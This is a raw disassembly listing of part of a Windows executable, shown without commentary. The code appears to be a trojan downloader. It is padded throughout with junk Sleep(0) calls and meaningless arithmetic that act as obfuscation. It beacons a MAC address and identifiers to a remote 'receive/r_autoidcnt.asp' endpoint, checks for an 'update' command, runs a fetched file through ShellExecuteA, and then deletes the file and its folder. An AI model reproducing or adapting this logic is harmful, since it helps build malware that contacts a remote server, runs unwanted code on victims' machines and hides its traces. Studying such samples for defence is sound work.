fld qword [0x435ec8]
fstp qword [ebp - 0x3480]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3480]
fadd qword [0x435ec0]
fstp qword [ebp - 0x3480]
fld qword [0x435ec8]
fstp qword [ebp - 0x3488]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3488]
fadd qword [0x435ec0]
fstp qword [ebp - 0x3488]
fld qword [0x435ec8]
fstp qword [ebp - 0x3490]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3490]
fadd qword [0x435ec0]
fstp qword [ebp - 0x3490]
fld qword [0x435ec8]
fstp qword [ebp - 0x3498]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3498]
fadd qword [0x435ec0]
fstp qword [ebp - 0x3498]
fld qword [0x435ec8]
fstp qword [ebp - 0x34a0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x34a0]
fadd qword [0x435ec0]
fstp qword [ebp - 0x34a0]
fld qword [0x435ec8]
fstp qword [ebp - 0x34a8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x34a8]
fadd qword [0x435ec0]
fstp qword [ebp - 0x34a8]
fld qword [0x435ec8]
fstp qword [ebp - 0x34b0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x34b0]
fadd qword [0x435ec0]
fstp qword [ebp - 0x34b0]
mov dword [ebp - 0x61c], 0
jmp 0x40cd20
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 1
jge 0x40cd5d
push 0xf4240
push 0x7a120
push 1
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x1f1c]
push eax
push 0
lea ecx, [ebp - 0x2138]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40cd5b
jmp 0x40cd5d
jmp 0x40cd11
jmp 0x40cf7e
fld dword [0x435f50]
fstp dword [ebp - 0x34b4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34b4]
fadd qword [0x435db0]
fstp dword [ebp - 0x34b4]
fld dword [0x435f50]
fstp dword [ebp - 0x34b8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34b8]
fadd qword [0x435db0]
fstp dword [ebp - 0x34b8]
fld dword [0x435f50]
fstp dword [ebp - 0x34bc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34bc]
fadd qword [0x435db0]
fstp dword [ebp - 0x34bc]
fld dword [0x435f50]
fstp dword [ebp - 0x34c0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34c0]
fadd qword [0x435db0]
fstp dword [ebp - 0x34c0]
fld dword [0x435f50]
fstp dword [ebp - 0x34c4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34c4]
fadd qword [0x435db0]
fstp dword [ebp - 0x34c4]
fld dword [0x435f50]
fstp dword [ebp - 0x34c8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34c8]
fadd qword [0x435db0]
fstp dword [ebp - 0x34c8]
fld dword [0x435f50]
fstp dword [ebp - 0x34cc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34cc]
fadd qword [0x435db0]
fstp dword [ebp - 0x34cc]
fld dword [0x435f50]
fstp dword [ebp - 0x34d0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34d0]
fadd qword [0x435db0]
fstp dword [ebp - 0x34d0]
lea edx, [ebp - 0x1f18]
push edx
call fcn.00402b60
add esp, 4
cmp eax, 0x2c00
jle 0x40cf7e
lea eax, [ebp - 0x3310]
push eax
lea ecx, [ebp - 0x2138]
push ecx
call fcn.0040f840
add esp, 8
push 0x435b60
lea edx, [ebp - 0x2138]
push edx
call fcn.0040f850
add esp, 8
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x2138]
push ecx
call fcn.0040f850
add esp, 8
push 5
lea edx, [ebp - 0x3310]
push edx
lea eax, [ebp - 0x31b8]
push eax
lea ecx, [ebp - 0x2138]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x34d4], 0
jmp 0x40cf2b
mov edx, dword [ebp - 0x34d4]
add edx, 1
mov dword [ebp - 0x34d4], edx
cmp dword [ebp - 0x34d4], 0x78
jge 0x40cf74
lea eax, [ebp - 0x3310]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40cf47
jmp 0x40cf74
lea ecx, [ebp - 0x2138]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x3310]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
je 0x40cf67
jmp 0x40cf74
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40cf1c
mov dword [ebp - 0x30f8], 1
jmp 0x40c76e
fld dword [0x435eb8]
fstp dword [ebp - 0x34d8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34d8]
fadd qword [0x435eb0]
fstp dword [ebp - 0x34d8]
fld dword [0x435eb8]
fstp dword [ebp - 0x34dc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34dc]
fadd qword [0x435eb0]
fstp dword [ebp - 0x34dc]
fld dword [0x435eb8]
fstp dword [ebp - 0x34e0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34e0]
fadd qword [0x435eb0]
fstp dword [ebp - 0x34e0]
fld dword [0x435eb8]
fstp dword [ebp - 0x34e4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34e4]
fadd qword [0x435eb0]
fstp dword [ebp - 0x34e4]
cmp dword [ebp - 0x30f8], 0
je 0x40d51d
fld dword [0x435cf0]
fstp dword [ebp - 0x34e8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34e8]
fadd qword [0x435f98]
fstp dword [ebp - 0x34e8]
fld dword [0x435cf0]
fstp dword [ebp - 0x34ec]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34ec]
fadd qword [0x435f98]
fstp dword [ebp - 0x34ec]
fld dword [0x435cf0]
fstp dword [ebp - 0x34f0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34f0]
fadd qword [0x435f98]
fstp dword [ebp - 0x34f0]
fld dword [0x435cf0]
fstp dword [ebp - 0x34f4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34f4]
fadd qword [0x435f98]
fstp dword [ebp - 0x34f4]
fld dword [0x435cf0]
fstp dword [ebp - 0x34f8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34f8]
fadd qword [0x435f98]
fstp dword [ebp - 0x34f8]
fld dword [0x435cf0]
fstp dword [ebp - 0x34fc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x34fc]
fadd qword [0x435f98]
fstp dword [ebp - 0x34fc]
fld dword [0x435cf0]
fstp dword [ebp - 0x3500]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3500]
fadd qword [0x435f98]
fstp dword [ebp - 0x3500]
fld dword [0x435cf0]
fstp dword [ebp - 0x3504]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3504]
fadd qword [0x435f98]
fstp dword [ebp - 0x3504]
push 0x43e678
push 0x435b6c
push 0x435b74
lea eax, [ebp - 0x22c0]
push eax
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typelmac_s
lea ecx, [ebp - 0x2138]
push ecx
call fcn.0041020b
add esp, 0x18
mov byte [ebp - 0x3505], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3505]
add edx, 0x9c
mov byte [ebp - 0x3505], dl
mov byte [ebp - 0x3506], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3506]
add eax, 0x9c
mov byte [ebp - 0x3506], al
mov byte [ebp - 0x3507], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3507]
add ecx, 0x9c
mov byte [ebp - 0x3507], cl
mov byte [ebp - 0x3508], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3508]
add edx, 0x9c
mov byte [ebp - 0x3508], dl
mov byte [ebp - 0x3509], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3509]
add eax, 0x9c
mov byte [ebp - 0x3509], al
mov dword [ebp - 0x61c], 0
jmp 0x40d245
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 1
jge 0x40d282
push 0xf4240
push 0x7a120
push 1
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x1f1c]
push eax
push 0
lea ecx, [ebp - 0x2138]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40d280
jmp 0x40d282
jmp 0x40d236
push str.update
mov edx, dword [ebp - 0x202c]
push edx
call fcn.00432364
add esp, 8
test eax, eax
je 0x40d518
mov byte [ebp - 0x350a], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x350a]
add eax, 0x61
mov byte [ebp - 0x350a], al
mov byte [ebp - 0x350b], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x350b]
add ecx, 0x61
mov byte [ebp - 0x350b], cl
mov byte [ebp - 0x350c], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x350c]
add edx, 0x61
mov byte [ebp - 0x350c], dl
mov byte [ebp - 0x350d], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x350d]
add eax, 0x61
mov byte [ebp - 0x350d], al
mov byte [ebp - 0x350e], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x350e]
add ecx, 0x61
mov byte [ebp - 0x350e], cl
mov byte [ebp - 0x350f], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x350f]
add edx, 0x61
mov byte [ebp - 0x350f], dl
mov byte [ebp - 0x3510], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3510]
add eax, 0x61
mov byte [ebp - 0x3510], al
mov byte [ebp - 0x3511], 0xbe
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3511]
add ecx, 0x61
mov byte [ebp - 0x3511], cl
push 0
push 1
push 0x435bcc
mov edx, dword [ebp - 0x202c]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 0x435bd4
push closesocket
call fcn.00403aa0
add esp, 0x1c
fld dword [0x435ea8]
fstp dword [ebp - 0x3518]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3518]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3518]
fld dword [0x435ea8]
fstp dword [ebp - 0x351c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x351c]
fadd qword [0x435ea0]
fstp dword [ebp - 0x351c]
fld dword [0x435ea8]
fstp dword [ebp - 0x3520]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3520]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3520]
fld dword [0x435ea8]
fstp dword [ebp - 0x3524]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3524]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3524]
fld dword [0x435ea8]
fstp dword [ebp - 0x3528]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3528]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3528]
fld dword [0x435ea8]
fstp dword [ebp - 0x352c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x352c]
fadd qword [0x435ea0]
fstp dword [ebp - 0x352c]
fld dword [0x435ea8]
fstp dword [ebp - 0x3530]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3530]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3530]
fld dword [0x435ea8]
fstp dword [ebp - 0x3534]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3534]
fadd qword [0x435ea0]
fstp dword [ebp - 0x3534]
push 0
push 1
push str.Code
mov ecx, dword [ebp - 0x202c]
push ecx
lea edx, [ebp - 0x6f8]
push edx
push 0x435be8
push closesocket
call fcn.00403aa0
add esp, 0x1c
jmp 0x40d7a4
mov byte [ebp - 0x3535], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3535]
add eax, 0x42
mov byte [ebp - 0x3535], al
mov byte [ebp - 0x3536], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3536]
add ecx, 0x42
mov byte [ebp - 0x3536], cl
mov byte [ebp - 0x3537], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3537]
add edx, 0x42
mov byte [ebp - 0x3537], dl
mov byte [ebp - 0x3538], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x3538]
add eax, 0x42
mov byte [ebp - 0x3538], al
mov byte [ebp - 0x3539], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3539]
add ecx, 0x42
mov byte [ebp - 0x3539], cl
mov byte [ebp - 0x353a], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x353a]
add edx, 0x42
mov byte [ebp - 0x353a], dl
mov byte [ebp - 0x353b], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x353b]
add eax, 0x42
mov byte [ebp - 0x353b], al
mov byte [ebp - 0x353c], 0x98
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x353c]
add ecx, 0x42
mov byte [ebp - 0x353c], cl
push 0x43e678
push str.ckn2
push 0x435bfc
lea edx, [ebp - 0x22c0]
push edx
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee8mac_s
lea eax, [ebp - 0x2138]
push eax
call fcn.0041020b
add esp, 0x18
mov byte [ebp - 0x353d], 0xae
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x353d]
add ecx, 0x1f
mov byte [ebp - 0x353d], cl
mov byte [ebp - 0x353e], 0xae
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x353e]
add edx, 0x1f
mov byte [ebp - 0x353e], dl
mov byte [ebp - 0x353f], 0xae
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x353f]
add eax, 0x1f
mov byte [ebp - 0x353f], al
mov byte [ebp - 0x3540], 0xae
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3540]
add ecx, 0x1f
mov byte [ebp - 0x3540], cl
mov byte [ebp - 0x3541], 0xae
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3541]
add edx, 0x1f
mov byte [ebp - 0x3541], dl
mov dword [ebp - 0x61c], 0
jmp 0x40d6f5
mov eax, dword [ebp - 0x61c]
add eax, 1
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 1
jge 0x40d732
push 0xf4240
push 0x7a120
push 1
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x1f1c]
push edx
push 0
lea eax, [ebp - 0x2138]
push eax
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40d730
jmp 0x40d732
jmp 0x40d6e6
fld qword [0x435f30]
fstp qword [ebp - 0x3550]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3550]
fadd qword [0x436108]
fstp qword [ebp - 0x3550]
fld qword [0x435f30]
fstp qword [ebp - 0x3558]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3558]
fadd qword [0x436108]
fstp qword [ebp - 0x3558]
fld qword [0x435f30]
fstp qword [ebp - 0x3560]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3560]
fadd qword [0x436108]
fstp qword [ebp - 0x3560]
mov byte [ebp - 0x3561], 0x40
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x3561]
add ecx, 0xac
mov byte [ebp - 0x3561], cl
mov byte [ebp - 0x3562], 0x40
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x3562]
add edx, 0xac
mov byte [ebp - 0x3562], dl
fld qword [0x435e98]
fstp qword [ebp - 0x3570]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3570]
fadd qword [0x435e90]
fstp qword [ebp - 0x3570]
fld qword [0x435e98]
fstp qword [ebp - 0x3578]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x3578]
fadd qword [0x435e90]
fstp qword [ebp - 0x3578]
mov dword [ebp - 0x357c], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x357c]
add eax, 0xc0
mov dword [ebp - 0x357c], eax
mov dword [ebp - 0x3580], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3580]
add ecx, 0xc0
mov dword [ebp - 0x3580], ecx
mov dword [ebp - 0x3584], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3584]
add edx, 0xc0
mov dword [ebp - 0x3584], edx
mov dword [ebp - 0x3588], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3588]
add eax, 0xc0
mov dword [ebp - 0x3588], eax
mov dword [ebp - 0x358c], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x358c]
add ecx, 0xc0
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3590], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3590]
add edx, 0xc0
mov dword [ebp - 0x3590], edx
mov dword [ebp - 0x3594], 0xd1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3594]
add eax, 0x22
mov dword [ebp - 0x3594], eax
mov dword [ebp - 0x3598], 0xd1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3598]
add ecx, 0x22
mov dword [ebp - 0x3598], ecx
mov dword [ebp - 0x359c], 0xd1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x359c]
add edx, 0x22
mov dword [ebp - 0x359c], edx
mov dword [ebp - 0x35a0], 0xd1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x35a0]
add eax, 0x22
mov dword [ebp - 0x35a0], eax
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f82a
mov esp, ebp
pop ebp
ret 0x10